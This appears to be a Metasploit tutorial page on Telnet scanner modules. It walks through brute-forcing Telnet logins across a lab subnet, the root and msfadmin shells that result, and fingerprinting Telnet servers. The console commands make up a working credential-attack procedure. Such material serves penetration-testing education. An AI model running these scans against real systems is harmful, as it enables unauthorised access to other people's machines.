Scanner Telnet Auxiliary Modules

The telnet_login module will take a list of provided credentials and a range of IP addresses and attempt to login to any Telnet servers it encounters.

msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             23               yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

This auxiliary module allows you to pass credentials in a number of ways. You can specifically set a username and password, you can pass a list of usernames and a list of passwords for it to iterate through, or you can provide a file that contains usernames and passwords separated by a space. We will configure the scanner to use a short usernames file and a passwords file and let it run against our subnet.

msf auxiliary(telnet_login) > set BLANK_PASSWORDS false
BLANK_PASSWORDS => false
msf auxiliary(telnet_login) > set PASS_FILE passwords.txt
PASS_FILE => passwords.txt
msf auxiliary(telnet_login) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(telnet_login) > set THREADS 254
THREADS => 254
msf auxiliary(telnet_login) > set USER_FILE users.txt
USER_FILE => users.txt
msf auxiliary(telnet_login) > set VERBOSE false
VERBOSE => false
msf auxiliary(telnet_login) > run

[+] 192.168.1.116 - SUCCESSFUL LOGIN root : s00p3rs3ckret
[*] Command shell session 1 opened (192.168.1.101:50017 -> 192.168.1.116:23) at 2010-10-08 06:48:27 -0600
[+] 192.168.1.116 - SUCCESSFUL LOGIN admin : s00p3rs3ckret
[*] Command shell session 2 opened (192.168.1.101:41828 -> 192.168.1.116:23) at 2010-10-08 06:48:28 -0600
[*] Scanned 243 of 256 hosts (094% complete)
[+] 192.168.1.56 - SUCCESSFUL LOGIN msfadmin : msfadmin
[*] Command shell session 3 opened (192.168.1.101:49210 -> 192.168.1.56:23) at 2010-10-08 06:49:07 -0600
[*] Scanned 248 of 256 hosts (096% complete)
[*] Scanned 250 of 256 hosts (097% complete)
[*] Scanned 255 of 256 hosts (099% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

It seems that our scan has been successful and Metasploit has a few sessions open for us. Let’s see if we can interact with one of them.

msf auxiliary(telnet_login) > sessions -l

Active sessions
===============

  Id  Type   Information                                    Connection
  --  ----   -----------                                    ----------
  1   shell  TELNET root:s00p3rs3ckret (192.168.1.116:23)   192.168.1.101:50017 -> 192.168.1.116:23
  2   shell  TELNET admin:s00p3rs3ckret (192.168.1.116:23)  192.168.1.101:41828 -> 192.168.1.116:23
  3   shell  TELNET msfadmin:msfadmin (192.168.1.56:23)     192.168.1.101:49210 -> 192.168.1.56:23

msf auxiliary(telnet_login) > sessions -i 3
[*] Starting interaction with 3...

id
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$ exit
exit
logout
[*] Command shell session 3 closed.
msf auxiliary(telnet_login) >

From a network security perspective, one would hope that Telnet would no longer be in use as everything, including credentials is passed in the clear but the fact is, you will still frequently encounter systems running Telnet, particularly on legacy systems. The telnet_version auxiliary module will scan a subnet and fingerprint any Telnet servers that are running. We just need to pass a range of IPs to the module, set our THREADS value, and let it fly.

msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(telnet_version) > show options

Module options:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     23               yes       The target port
   THREADS   1                yes       The number of concurrent threads
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as

msf auxiliary(telnet_version) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(telnet_version) > set THREADS 254
THREADS => 254
msf auxiliary(telnet_version) > run

[*] 192.168.1.2:23 TELNET (GSM7224) \x0aUser:
[*] 192.168.1.56:23 TELNET Ubuntu 8.04\x0ametasploitable login:
[*] 192.168.1.116:23 TELNET Welcome to GoodTech Systems Telnet Server for Windows NT/2000/XP (Evaluation Copy)\x0a\x0a(C) Copyright 1996-2002 GoodTech Systems, Inc.\x0a\x0a\x0aLogin username:
[*] Scanned 254 of 256 hosts (099% complete)
[*] Scanned 255 of 256 hosts (099% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(telnet_version) >